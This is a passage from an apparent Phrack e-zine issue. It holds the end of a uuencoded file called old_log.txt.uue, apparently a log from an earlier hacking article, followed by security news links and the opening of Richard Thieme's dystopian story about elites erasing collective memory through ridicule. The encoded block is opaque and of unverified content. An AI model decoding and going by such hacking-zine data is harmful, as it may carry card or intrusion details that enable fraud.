M,S(@1C(@,$8@-SD@#0H-"B`@("`R12`P,B`S."!&,2`@("`@(#PM+2!P<F]V
M:61E<B`P,B`Z($ED96YT:71Y(&%R96$-"B`@("`S,"`P-"`Y-R`Q,2`@("`@
M(#PM+2!004X@.B!0<FEM87)Y($%C;W5N="!.=6UB97(@.@T*("`@(#,V(#<T
M(#@P(#8W("`@("`@/"TM(#0Y-S$@,38W-"`X,#8W(#8S,S$@*$-R961I="!!
M9W)I8V]L92D-"B`@("`S-B`S,R`Q1B!&1B`-"B`@("`S,2`P,2`Y.2`Q,2`@
M("`@(#PM+2!&86)R:6-A=&EO;B!$871E(#H@,3$O.3DL('9A;&ED('5N=&EL
M;"`P,2\P,@T*("`@(#,R(#4P(#`R(#`Q("`@("`@/"TM($QA;F<@,C4P(#H@
M9G(@+R!-;VYE>2`R-3`@.B!F<B`O(%-E<G9I8V4@,3`Q(#H@:6YT;`T*("`@
M(#,R(#4P(#,T(#DW("`@("`@/"TM(%)302!E>'!O;F5N="!E(#T@,RP@5FES
M82!#87)D("@T.3<I#0H@("`@,S0@1#4@,C(@,#0@("`@("`\+2T@3D%-12`Z
M(")-4B!*14%.($U!4D-/("`@("`@("`@("`@("(@#0H@("`@,T$@-#4@-#$@
M-$4@#0H@("`@,S(@,#0@1#0@,34@#0H@("`@,S(@-#,@-$8@,C`@#0H@("`@
M,S(@,#(@,#(@,#(@#0H@("`@,S`@,C`@,C`@,C`@#0H@("`@,S(@,#(@,#(@
M,#(@#0H@("`@,S`@,C`@1C$@,#`@("`@(#PM+2!"24X@.B!"86YK($E$($YU
M;6)E<B`](#$P,"`Z($-R961I="!!9W)I8V]L90T*("`@(#DP(#`P(`T*#0H@
M("`@/CY&1B`@("`@("`@("`@("`@("`@("`@("`@(#PM+2!297-E=`T*("`@
M(#-&(#8U(#(U(#`X(#,V(#`T(#9#(#DP(#`P("`\+2T@0512("A!;G-W97(@
M5&\@4F5S970I#0HM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM
M+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM#0H-"B\J*BHJ*BHJ*BHJ*BHJ*BHJ
M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BH-"B`J
M($%U=&AE;G1I8V%T92!O=VYE<B`@("`@("`@("`@("`@("`@("`@("`@("`@
M("`@("`@("`@("H-"B`J("HJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ
M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHO#0H-"B`@("`^/D)#($(P(#`Y
M($8P(#`T#0H@("`@0C`@#0H@("`@-#0@0S(@.$$@,$4@("`@("`\+2T@0U-.
M#0H@("`@.3`@,#`@#0H@("`@#0H@("`@/CY"0R`R,"`P,"`P,"`P-"`-"B`@
M("`R,"`@("`@("`@("`@("`@(#PM+2!!<VMI;F<@4$E.(&-O9&4-"B`@("`P
M-"`X1"`S1B!&1B`@("`@(#PM+2!024X@/2`Q,C,T#0H@("`@.3`@,#`@#0H@
M("`@#0H@("`@/CY"0R`T,"`P,"`P,"`P,"`-"B`@("`T,"`Y,"`P,"`@("`@
M("`@(#PM+2!2871I9FEC871I;VX@4$E.+"!/2R`[*2`-"@T*+RHJ*BHJ*BHJ
M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ
M*BHJ*@T*("H@1V5N97)A=&4@0T%)(&9O<B!P87EM96YT("`@("`@("`@("`@
M("`@("`@("`@("`@("`@("`@*@T*("H@*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ
M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*B\-"B`-"B`@("`^
M/D)#($(P(#`X($0P(#`T(`T*("`@($(P("`@("`@("`@("`@("`@/"TM(%)E
M861I;F<@1VQO8F%L($-H96-K<W5M("@P."!$,"D-"B`@("`W,"!&1B`X1B!&
M1B`-"B`@("`Y,"`P,"`-"@T*("`@(#X^0D,@.#`@,#`@,#`@,#@@/"TM($-Y
M<&AE<FEN9R`H,7-T(&ME>2D@9F]R($-!22P@<V%L="`P."!$,"`H;F5E9"!0
M24XI#0H@("`@-T8@#0H@("`@/CXP,0T*("`@(#=&(`T*("`@(#X^,30-"B`@
M("`W1B`-"B`@("`^/C(Q#0H@("`@-T8@#0H@("`@/CXU-`T*("`@(#=&(`T*
M("`@(#X^,#@-"B`@("`W1B`-"B`@("`^/C`P#0H@("`@-T8@#0H@("`@/CXP
M.`T*("`@(#=&(`T*("`@(#X^1#`@("`@("`@("`@("`@/"TM(#`Q(#$T(#(Q
M(#4T(#`X(#`P(%LP."!$,%T-"B`@("`Y,"`P,"`@#0H-"B`@("`^/D)#($,P
M(#`P(#`P(#`X(#PM+2!296%D:6YG(')E<W5L=`T*("`@($,P("`@("`@("`@
M("`@("`@#0H@("`@,#$@,30@,C$@-30@,#@@,#`@,#@@1#`@/"TM(%=E;&PN
M+BX@35D@86YS=V5R(#LI#0H@("`@.3`@,#`@#0H-"B`@("`^/D)#(#@P(#`P
M(#`P(#`X(#PM+2!#>7!H97)I;F<@*$-"0R!-;V1E*0T*("`@(#=&(`T*("`@
M(#X^,C$-"B`@("`W1B`-"B`@("`^/C4T#0H@("`@-T8@#0H@("`@/CXP.0T*
M("`@(#=&(`T*("`@(#X^,#`-"B`@("`W1B`-"B`@("`^/C`X#0H@("`@-T8@
M#0H@("`@/CY&-2`@("`-"B`@("`W1B`-"B`@("`^/C`X#0H@("`@-T8@#0H@
M("`@/CY$,"`@("`@("`@("`@("`\+2T@,C$@-30@,#D@,#`@,#@@1C4@6S`X
M($0P72`-"B`@("`Y,"`P,"`-"@T*("`@(#X^0D,@0S`@,#`@,#`@,#@@/"TM
M(%)E861I;F<@<F5S=6QT#0H@("`@0S`@#0H@("`@,C$@-30@,#D@,#`@,#@@
M1C4@,#@@1#`@#0H@("`@.3`@,#`@#0H-"B`@("`^/D)#(#@P(#`P(#`P(#`X
M(#PM+2!#>7!H97)I;F<-"B`@("`W1B`-"B`@("`^/C`Y#0H@("`@-T8@#0H@
M("`@/CXR,`T*("`@(#=&(`T*("`@(#X^,4,-"B`@("`W1B`-"B`@("`^/D,S
M#0H@("`@-T8@#0H@("`@/CXQ1@T*("`@(#=&(`T*("`@(#X^1C<-"B`@("`W
M1B`-"B`@("`^/C`X#0H@("`@-T8@#0H@("`@/CY$,"`@("`@("`@("`@("`\
M+2T@,#D@,C`@,4,@0S,@,48@1C<@6S`X($0P70T*("`@(#DP(#`P(`T*#0H@
M("`@/CY"0R!#,"`P,"`P,"`P."`\+2T@4F5A9&EN9R!R97-U;'0-"B`@("!#
M,"`@("`@("`@("`@("`@(`T*("`@(#`Y(#(P(#%#($,S(#%&($8W(#`X($0P
M(#PM+2!#04D@*'=H870@:7,@;VX@=&AE(&YO=&4I#0H@("`@.3`@,#`@#0H-
M"B\J*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ
M*BHJ*BHJ*BHJ*BHJ*BH-"B`J(%)E860@5')A;G-A8W1I;VX@8G5L;&5T:6X@
M86YD('=R:71E('1R86YS86-T:6]N("`@("`@("H-"B`J("HJ*BHJ*BHJ*BHJ
M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHO
M#0H-"B`@("`^/D)#($(P(#`R($(P($9#(#PM+2!296%D:6YG('1R86YS86-T
M:6]N(&)U;&QE=&EN(#H@0414#0H@("`@0C`@(`T*("`@(#,P(#`P(#DY(#$Q
M("`@("`@/"TM($1U<FEN9R!M;VYT:"!O9B`Q,2\Y.0T*("`@(#,R($0X($0T
M(#@P("`@("`@/"TM(&]N(#(W(#H@-30T+#`P($9R#0H@("`@,S,@13`@1#@@
M-C@@("`@("`\+2T@;VX@,C@@.B`U-30L,#`@1G(-"B`@("`S,R!%,"!!1B!#
M."`@("`@(#PM+2!O;B`R."`Z(#0T-RPT-"!&<@T*("`@(#,S($4X($-#(#0V
M("`@("`@/"TM(&]N(#(Y(#H@-3(R+#DT($9R#0H@("`@,S,@13@@044@-S0@
M("`@("`\+2T@;VX@,CD@.B`T-#8L-C`@1G(-"B`@("`S,"`P,"`Y.2`Q,B`@
M("`@(#PM+2!$=7)I;F<@;6]N=&@@;V8@,3(O.3D-"B`@("`S,R`Q."`S,B!#
M."`@("`@(#PM+2!O;B`P,R`Z(#$S,"PP,"!&<@T*("`@(#,S(#(P($)&(#8X
M("`@("`@/"TM(&]N(#`T(#H@-#DP+#`P($9R#0H@("`@,S,@1#@@.48@-#(@
M("`@("`\+2T@;VX@,C<@.B`T,#<L-S`@1G(-"B`@("`S,"`P,"`P,B`P,2`@
M("`@(#PM+2!$=7)I;F<@;6]N=&@@;V8@,#$O,#(-"B`@("`S,R`P."`R-R`Q
M,"`@("`@(#PM+2!O;B`P,2`Z(#$P,"PP,"!&<@T*("`@($9&($9&($9&($9&
M("`@("`@/"TM($9I<G-T(&5M<'1Y('=O<F0-"B`@("`N+B`N+B`N+B`N+@T*
M("`@($9&($9&($9&($9&(`T*("`@(#DP(#`P(`T*#0H@("`@/CY"0R!","`P
M-"!!."!&0R`\+2T@1F]L;&]W:6YG(&]F(')E861I;F<@0414#0H@("`@0C`@
M#0H@("`@1D8@1D8@1D8@1D8@#0H@("`@+BX@+BX@+BX@+BX-"B`@("!&1B!&
M1B!&1B!&1B`-"B`@("`Y,"`P,"`-"@T*("`@(#X^0D,@0C`@,#8@03`@1D,@
M/"TM($%G86EN($%$5`T*("`@($(P(`T*("`@($9&($9&($9&($9&(`T*("`@
M("XN("XN("XN("XN#0H@("`@1D8@1D8@1D8@1D8@#0H@("`@-C8@,#0@,3`@
M13,@("`@("`\+2T@36%X:6UU;2!F;W(@<&%Y;65N=`T*("`@(#<S(#-$($)"
M($$P("`@("`@/"TM($-A<V@@<&%Y;65N="`Z(#DP,#`L,#`@1G(@979E<GD@
M-R!D87ES#0H@("`@.3`@,#`@#0H-"B`@("`^/D)#($(P(#`X(#DX(#(T(&9O
M;&QO=VEN9R`H96YD(&]F(&%D="D-"B`@("!","`@#0H@("`@-S4@-S0@.3,@
M13`@("`@("`\+2T@0W)E9&ET(#,P,#`L,#`@1G(@979E<GD@-R!D87ES#0H@
M("`@-S<@-S0@.3,@13`@("`@("`\+2T@0V%S:"`S,#`P+#`P($9R(&5V97)Y
M(#<@9&%Y<PT*("`@(#<Y(#<T(#DS($4P("`@("`@/"TM(%9I<F5M96YT<R`S
M,#`P+#`P($9R(&5V97)Y(#<@9&%Y<PT*("`@(#9%(#$Q(#`T($4S("`@("`@
M/"TM(%!E<G-O;FYA;&ES871I;VX@87)E80T*("`@(#<Q(#@S(#`Q(#$P("`@
M("`@/"TM($1A>2`Z(#$X,RP@3&]C871I;VX@,#$L(%!E<G-O;FYA;&ES871O
M<B`Q,`T*("`@(#9%(#`P(#`X($4R("`@("`@#0H@("`@1D8@1D8@1D8@1D8@
M#0H@("`@-S`@1D8@.$8@1D8@("`@("`\+2T@1VQO8F%L($-H96-K<W5M#0H@
M("`@1D8@1D8@1D8@1D8@#0H@("`@.3`@,#`@#0H-"B`@("`^/D)#($(P(#`S
M(#$P(#`T(`T*("`@($(P(`T*("`@($9&($9&($9&($9&("`@("`@/"TM(&9I
M<G-T(&5M<'1Y('=O<F0@:6X@0414(#H@,#,@,3`-"B`@("`Y,"`P,"`-"@T*
M("`@(#X^0D,@1#`@,#,@,3`@,#0@/"TM(%=R:71T:6YG('1R86YS86-T:6]N
M#0H@("`@,D8@(`T*("`@(#X^,S,-"B`@("`R1B`-"B`@("`^/C<P#0H@("`@
M,D8@#0H@("`@/CXR-PT*("`@(#)&(`T*("`@(#X^,3`@("`@("`@("`@("`@
M/"TM(#,S(#<P(#(W(#$P+"!"=7D@,3`P+#`P($9R('1H92`P>#<P+S@],31T
M:"!J86X@,C`P,@T*("`@(#DP(#`P(`T*#0H@("`@/CY"0R!","`P,R`Q,"`P
M-"`\+2T@4F5A9&EN9R!W<FET=&5N('1R86YS86-T:6]N#0H@("`@0C`@#0H@
M("`@,S,@-S`@,C<@,3`@("`@("`@#0H@("`@.3`@,#`@#0H-"B`@("`^/D)#
M(#<P(#`S(#$P(#`P(#PM+2!686QI9&%T92!W<FET=&EN9PT*("`@(#<P(`T*
M("`@(#DP(#`P(`T*#0H@("`@/CY"0R!","`P,R`Q,"`P-"`\+2T@5F5R:69Y
M:6YG('9A;&ED871E("AV86QI9&%T:6]N(&)I="!I<R`](#$@.RD-"B`@("!"
M,"`-"B`@("`S,R`W,"`R-R`Q,"`-"B`@("`Y,"`P,"`-"@T*+RHJ*BHJ*BHJ
M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ
M*BHJ*@T*("H@1V5N97)A=&4@5F5R:69Y97(@0T%)("AK97ER:6YG(#,I("`@
M("`@("`@("`@("`@("`@("`@*@T*("H@*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ
M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*B\-"BTM+2TM+2TM
M+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM
M+2TM+2T-"B`@("`^/D9&("`@("`@("`@("`@("`@("`@("`@("`@/"TM(%)E
M<V5T#0H@("`@,T8@-C4@,C4@,#@@,S8@,#0@-D,@.3`@,#`@(#PM+2!!5%(@
M*$%N<W=E<B!4;R!297-E="D-"BTM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM
M+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2T-"@T*("`@(#X^0D,@
M0C`@,#D@1C`@,#0@#0H@("`@0C`@#0H@("`@-#0@0S(@.$$@,$4@("`@("`\
M+2T@4F5A9&EN9R!#4TX-"B`@("`Y,"`P,"`-"@T*("`@(#X^0D,@0C`@,#D@
M-3`@,#0@#0H@("`@0C`@#0H@("`@,S`@,#0@.3<@,3$@("`@("`\+2T@4F5A
M9&EN9R!B96=I;FYI;F<@;V8@4$%.(&9O<B!304Q4#0H@("`@.3`@,#`@#0H-
M"B`@("`^/D)#(#@T(#`P(#`P(#`X(#PM+2!#>7!H97)I;F<@*#-R9"!K97DI
M+"!386QT(#T@,#D@-3`-"B`@("`W0B`-"B`@("`^/C(V#0H@("`@-T(@#0H@
M("`@/CY$1@T*("`@(#="(`T*("`@(#X^138-"B`@("`W0B`-"B`@("`^/C)"
M#0H@("`@-T(@#0H@("`@/CY&0PT*("`@(#="(`T*("`@(#X^1C$-"B`@("`W
M0B`-"B`@("`^/C`Y#0H@("`@-T(@#0H@("`@/CXU,"`@("`@("`@("`@("`\
M+2T@,C8@1$8@138@,D(@1D,@1C$@6S`Y(#4P70T*("`@(#DP(#`P(`T*#0H@
M("`@/CY"0R!#,"`P,"`P,"`P."`\+2T@4F5S=6QT#0H@("`@0S`@(`T*("`@
M(#(V($1&($4V(#)"($9#($8Q(#`Y(#4P(`T*("`@(#DP(#`P(`T*#0H@("`@
M/CY"0R!","`P.2`V."`P-"`-"B`@("!","`-"B`@("`S,2`P,2`Y.2`Q,2`@
M("`@(#PM+2!296%D:6YG(&9A8G)I8V%T:6]N(&1A=&4@9F]R('-A;'0-"B`@
M("`Y,"`P,"`-"@T*("`@(#X^0D,@.#0@,#`@,#`@,#@@/"TM($-Y<&AE<FEN
M9RP@<V%L="`](#`Y(#8X#0H@("`@-T(@#0H@("`@/CXX,`T*("`@(#="(`T*
M("`@(#X^.$(-"B`@("`W0B`-"B`@("`^/D8Y#0H@("`@-T(@#0H@("`@/CXY
M,@T*("`@(#="(`T*("`@(#X^-#<-"B`@("`W0B`-"B`@("`^/C8T#0H@("`@
M-T(@#0H@("`@/CXP.0T*("`@(#="(`T*("`@(#X^-C@@("`@("`@("`@("`@
M/"TM(#@P(#A"($8Y(#DR(#0W(#8T(%LP.2`V.%T-"B`@("`Y,"`P,"`-"@T*
M("`@(#X^0D,@0S`@,#`@,#`@,#@@/"TM($=E="!R97-U;'0-"B`@("!#,"`X
M,"`X0B!&.2`Y,B`T-R`V-"`P.2`V."`-"B`@("`Y,"`P,"`-"B`@("`-"B`@
M("`^/D)#($(P(#`Y(#<P(#`T(#PM+2!296%D:6YG(&5X<&ER871I;VX@9&%T
M92!F;W(@<V%L=`T*("`@($(P(`T*("`@(#,R(#4P(#`R(#`Q(`T*("`@(#DP
M(#`P(`T*#0H@("`@/CY"0R`X-"`P,"`P,"`P."`\+2T@0WEP:&5R:6YG('=I
M=&@@<V%L="`](#`Y(#<P#0H@("`@-T(@#0H@("`@/CY$0PT*("`@(#="(`T*
M("`@(#X^.3@-"B`@("`W0B`-"B`@("`^/C$Y#0H@("`@-T(@#0H@("`@/CXQ
M-0T*("`@(#="(`T*("`@(#X^-C@-"B`@("`W0B`-"B`@("`^/C-�H@("`@
M-T(@#0H@("`@/CXP.0T*("`@(#="(`T*("`@(#X^-S`@("`@("`@("`@("`@
M/"TM($1#(#DX(#$Y(#$U(#8X(#-&(%LP.2`W,%T-"B`@("`Y,"`P,"`-"@T*
M("`@(#X^0D,@0S`@,#`@,#`@,#@@/"TM($=E="!R97-U;'0-"B`@("!#,"`-
M"B`@("!$0R`Y."`Q.2`Q-2`V."`S1B`P.2`W,"`-"B`@("`Y,"`P,"`-"@T*
M+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM
M+2TM+2TM+2TM+2TM+0T*#0HK+2TM+2TM+2TM*PT*?"!2151)4D5:('P-"GP@
M($-!4E1%("!\#0HK+2TM+2TM+2TM*PT*#0I%;F0@;V8@=')A;G-A8W1I;VX-
%"@T*#0H`
`
end
<++> ./old_log.txt.uue
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3e, Phile #0x10 of 0x10
|=-----------------------------------------------------------------------=|
|=--------------------=[ W O R L D N E W S ]=--------------------------=|
|=-----------------------------------------------------------------------=|
1 - Break, Memory, by Richard Thieme
2 - The Geometry of Near, by Richard Thieme
3 - The Feasibility of Anarchy in America, by Anthony
*** QUICK NEWS quiCK NEWS QUICK NEWS QUICK NEWS QUICK NEWS QUICK NEWS ***
- Windows source code leaked
http://ww.kuro5hin.org/story/2004/2/15/71552/7795
http://www.wired.com/news/technology/0,1282,62282,00.html
- grsecurity 'Spender' makes fun of OpenBSD and Mac OS X
http://seclists.org/lists/fulldisclosure/2004/Jun/0647.html
- These guys have all the books about terrorist/anarchy/combat/...
http://www.paladin-press.com
- 29A releases first worm that spreads via mobile network
http://securityresponse.symantec.com/avcenter/venc/data/epoc.cabir.html
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
Break, Memory
By
Richard Thieme
The Evolution of the Problem
The problem was not that people couldn't remember; the problem was
that people couldn't forget.
As far back as the 20th century, we realized that socio-historical
problems were best handled on a macro level. It was inefficient to work on
individuals who were, after all, nothing but birds in digital cages. Move
the cage, move the birds. The challenge was to build the cage big enough to
create an illusion of freedom in flight but small enough to be moved
easily.
When long-term collective memory became a problem in the 21st
century, it wound up on my desktop. There had always been a potential for
individuals to connect the dots and cause a contextual shift. We managed
the collective as best we could with Chomsky Chutes but an event could
break out randomly at any time like a bubble bursting. As much as we
surveil the social landscape with sensors and datamine for deep patterns,
we can't catch everything. It's all sensors and statistics, after all,
which have limits. If a phenomenon gets sticky or achieves critical mass,
it can explode through any interface, even create the interface it needs at
the moment of explosion. That can gum up the works.
Remembering and forgetting changed after writing was invented. The
ones that remembered best had always won. Writing shifted the advantage
from those who knew to those who knew how to find what was known.
Electronic communication shifted the advantage once again to those who knew
what they didn't need to know but knew how to get it when they did. In the
twentieth century advances in pharmacology and genetic engineering
increased longevity dramatically and at the same time meaningful
distinctions between backward and forward societies disappeared so far as
health care was concerned. The population exploded everywhere
simultaneously.
People who had retired in their sixties could look forward to sixty
or seventy more years of healthful living. As usual, the anticipated
problems - overcrowding, scarce water and food, employment for those who
wanted it - were not the big issues.
Crowding was managed by staggered living, generating niches in many
multiples of what used to be daylight single-sided life. Life became double-
sided, then triple-sided, and so on. Like early memory storage devices that
packed magnetic media inside other media, squeezing them into every bit of
available space, we designed multiple niches in society that allowed people
to live next to one another in densely packed communities without even
noticing their neighbors. Oh, people were vaguely aware that thousands of
others were on the streets or in stadiums, but they might as well have been
simulants for all the difference they made. We call this the Second
Neolithic, the emergence of specialization at the next level squared.
The antisocial challenges posed by hackers who "flipped" through
niches for weeks at a time, staying awake on Perkup, or criminals
exploiting flaws inevitably present in any new system, were anticipated and
handled using risk management algorithms. In short, multisided life works.
Genetic engineering provided plenty of food and water. Binderhoff
Day commemorates the day that water was recycled from sewage using the
Binderhoff Method. A body barely relinquishes its liquid before it's back
in a glass in its hand. As to food, the management of fads enables us to
play musical chairs with agri-resources, smoothing the distribution curve.
Lastly, people are easy to keep busy. Serial careers, marriages and
identities have been pretty much standard since the twentieth century.
Trends in that direction continued at incremental rather than tipping-point
levels. We knew within statistical limits when too many transitions would
cause a problem, jamming intersections as it were with too many vehicles,
so we licensed relationships, work-terms, and personal reinvention using
traffic management algorithms to control the social flow.
By the twenty-first century, everybody's needs were met. Ninety-eight
per cent of everything bought and sold was just plain made up. Once we
started a fad, it tended to stay in motion, generating its own momentum.
People spent much of their time exchanging goods and services that an
objective observer might have thought useless or unnecessary, but of
course, there was no such thing as an objective observer. Objectivity
requires distance, historical perspective, exactly what is lacking. Every
product or service introduced into the marketplace drags in its wake an
army of workers to manufacture it, support it, or clean up after it which
swells the stream until it becomes a river. All of those rivers flow into
the sea but the sea is never full.
Fantasy baseball is a good example. It had long been noticed that
baseball itself, once the sport became digitized, was a simulation. Team
names were made up for as many teams as the population would watch. Players
for those teams were swapped back and forth so the team name was obviously
arbitrary, requiring the projection of a "team gestalt" from loyal fans
pretending not to notice that they booed players they had cheered as heroes
the year before. Even when fans were physically present at games, the
experience was mediated through digital filters; one watched or listened to
digital simulations instead of the game itself, which existed increasingly
on the edges of the field of perception. Then the baseball strike of 2012
triggered the Great Realization. The strike was on for forty-two days
before anyone noticed the absence of flesh-and-blood players because the
owners substituted players made of pixels. Game Boys created game boys.
Fantasy baseball had invented itself in recognition that fans might as well
swap virtual players and make up teams too but the G.R. took it to the next
level. After the strike, Double Fantasy Baseball became an industry, nested
like a Russian doll inside Original Fantasy Baseball. Leagues of fantasy
players were swapped in meta-leagues of fantasy players. Then Triple
Fantasy Baseball . Quadruple Fantasy Baseball . and now the fad is Twelves
in baseball football and whack-it-ball and I understand that Lucky
Thirteens is on the drawing boards, bigger and better than any of its
predecessors.
So no, there is no shortage of arbitrary activities or useless goods.
EBay was the prototype of the future, turning the world into one gigantic
swap meet. If we need a police action or a new professional sport to bleed
off excess hostility or rebalance the body politic, we make it up. The Hump
in the Bell Curve as we call the eighty per cent that buy and sell just
about everything swim blissfully in the currents of make-believe digital
rivers, all unassuming. They call it the Pursuit of Happiness. And hey -
who are we to argue?
The memory-longevity problem came as usual completely out of fantasy
left field. People were living three, four, five generations, as we used to
count generations, and vividly recalled the events of their personal
histories. Pharmacological assists and genetic enhancement made the problem
worse by quickening recall and ending dementia and Alzheimer's. I don't
mean that every single person remembered every single thing but the Hump as
a whole had pretty good recall of its collective history and that's what
mattered. Peer-to-peer communication means one-knows-everyone-knows and
that created problems for society in general and - as a Master of Society -
that makes it my business.
My name is Horicon Walsh, if you hadn't guessed, and I lead the team
that designs the protocols of society. I am the man behind the Master. I am
the Master behind the Plan.
The Philosophical Basis of the Problem
The philosophical touchstone of our efforts was defined in nineteenth
century America. The only question that matters is, What good is it?
Questions like, what is its nature? what is its end? are irrelevant.
Take manic depression, for example. Four per cent of the naturally
occurring population were manic depressive in the late twentieth century.
The pharmacological fix applied to the anxious or depressive one-third of
the Hump attempted to maintain a steady internal state, not too high and
not too low. That standard of equilibrium was accepted without question as
a benchmark for fixing manic depression. Once we got the chemistry right,
the people who had swung between killing themselves and weeks of incredibly
productive, often genius-level activity were tamped down in the bowl, as it
were, their glowing embers a mere reflection of the fire that had once
burned so brightly. Evolution, in other words, had gotten it right because
their good days - viewed from the top of the tent - made up for their bad
days. Losing a few to suicide was no more consequential than a few soccer
fans getting trampled. Believing that the Golden Mean worked on the
individual as well as the macro level, we got it all wrong.
That sort of mistake, fixing things according to unexamined
assumptions, happened all the time when we started tweaking things. Too
many dumb but athletic children spoiled the broth. Too many waddling
bespectacled geeks made it too acrid. Too many willowy beauties made it too
salty. Peaks and valleys, that's what we call the first half of the 21st
century, as we let people design their own progeny. The feedback loops
inside society kind of worked - we didn't kill ourselves - but clearly we
needed to be more aware. Regulation was obviously necessary and
subsequently all genetic alteration and pharmacological enhancements were
cross-referenced in a matrix calibrated to the happiness of the Hump.
Executing the Plan to make it all work was our responsibility, a charge
that the ten per cent of us called Masters gladly accepted. The ten per
cent destined to be dregs, spending their lives picking through dumpsters
and arguing loudly with themselves in loopy monologues, serve as grim
reminders of what humanity would be without our enlightened guidance.
That's the context in which it became clear that everybody
remembering everything was a problem. The Nostalgia Riots of Greater
Florida were only a symptom.
The Nostalgia Riots
Here you had the fat tip of a long peninsular state packed like a
water balloon with millions of people well into their hundreds. One third
of the population was 150 or older by 2175. Some remembered sixteen major
wars and dozens of skirmishes and police actions. Some had lived through
forty-six recessions and recoveries. Some had lived through so many
elections they could have written the scripts, that's how bad it was. Their
thoughtful reflection, nuanced perspective, and appropriate skepticism were
a blight on a well-managed global free-market democracy. They did not get
depressed - pharmies in the food and water made sure of that - but they
sure acted like depressed people even if they didn't feel like it. And
depressed people tend to get angry.
West Floridians lined benches from Key West through Tampa Bay all the
way to the Panhandle. The view from satellites when they lighted matches
one night in midwinter to demonstrate their power shows an unbroken arc
along the edge of the water like a second beach beside the darker beach.
All day every day they sat there remembering, comparing notes, measuring
what was happening now by what had happened before. They put together
pieces of the historical puzzle the way people used to do crosswords and we
had to work overtime to stay a step ahead. The long view of the Elder Sub-
Hump undermined satisfaction with the present. They preferred a different,
less helpful way of looking at things.
When the drums of the Department of System Integration, formerly the
Managed Affairs and Perception Office, began to beat loudly to rouse the
population of our crowded earth to a fury against the revolutionary Martian
colonists who shot their resupplies into space rather than pay taxes to the
earth, we thought we would have the support of the Elder Sub-Hump. Instead
they pushed the drumming into the background and recalled through numerous
conversations the details of past conflicts, creating a memory net that
destabilized the official Net. Their case for why our effort was doomed was
air-tight, but that wasn't the problem. We didn't mind the truth being out
there so long as no one connected it to the present. The problem was that
so many people knew it because the Elder Sub-Hump wouldn't shut up. That
created a precedent and the precedent was the problem.
Long-term memory, we realized, was subversive of the body politic.
Where had we gotten off course? We had led the culture to skew toward
youth because youth have no memory in essence, no context for judging
anything. Their righteousness is in proportion to their ignorance, as it
should be. But the Elder Sub-Hump skewed that skew.
We launched a campaign against the seditious seniors. Because there
were so many of them, we had to use ridicule. The three legs of the stool
of cover and deception operations are illusion, misdirection, and ridicule,
but the greatest of these is ridicule. When the enemy is in plain sight,
you have to make him look absurd so everything he says is discredited. The
UFO Campaign of the twentieth century is the textbook example of that
strategy. You had fighter pilots, commercial pilots, credible citizens all
reporting the same thing from all over the world, their reports agreeing
over many decades in the small details. So ordinary citizens were subjected
to ridicule. The use of government owned and influenced media like
newspapers (including agency-owned-and-operated tabloids) and television
networks made people afraid to say what they saw. They came to disbelieve
their own eyes so the phenomena could hide in plain sight. Pretty soon no
one saw it. Even people burned by close encounters refused to believe in
their own experience and accepted official explanations.
We did everything possible to make old people look ridiculous. Subtle
images of drooling fools were inserted into news stories, short features
showed ancients playing inanely with their pets, the testimony of confused
seniors was routinely dismissed in courts of law. Our trump card -
entertainment - celebrated youth and its lack of perspective, extolling the
beauty of young muscular bodies in contrast with sagging-skin bags of bones
who paused too long before they spoke. We turned the book industry inside
out so the little bit that people did know was ever more superficial. The
standard for excellence in publishing became an absence of meaningful text,
massive amounts of white space, and large fonts. Originality dimmed, and
pretty soon the only books that sold well were mini-books of aphorisms
promulgated by pseudo-gurus each in his or her self-generated niche.
Slowly the cognitive functioning of the Hump degraded until abstract
or creative thought became marks of the wacky, the outcast, and the
impotent.
Then the unexpected happened, as it always will. Despite our efforts,
the Nostalgia Riots broke out one hot and steamy summer day. Govvies moved
on South Florida with happy gas, trying to turn the rampaging populace into
one big smiley face, but the seniors went berserk before the gas - on top
of pills, mind you, chemicals in the water, and soporific stories in the
media - took effect. They tore up benches from the Everglades to Tampa/St.
Pete and made bonfires that made the forest fires of '64 look like
fireflies. They smashed store windows, burned hovers, and looted amusement
parks along the Hundred-Mile-Boardwalk. Although the Youthful Sub-Hump was
slow to get on board, they burned white-hot when they finally ignited,
racing through their shopping worlds with inhuman cold-blooded cries. A
shiver of primordial terror chilled the Hump from end to end.
That a riot broke out was not the primary problem. Riots will happen
and serve many good purposes. They enable us to reinforce stereotypes,
enact desirable legislation, and discharge unhelpful energies. The way we
frame analyses of their causes become antecedents for future policies and
police actions. We have sponsored or facilitated many a useful riot. No,
the problem was that the elders' arguments were based on past events and if
anybody listened, they made sense. That's what tipped the balance. Youth
who had learned to ignore and disrespect their elders actually listened to
what they were saying. Pretending to think things through became a fad. The
young sat on quasi-elder-benches from Key Largo to Saint Augustine,
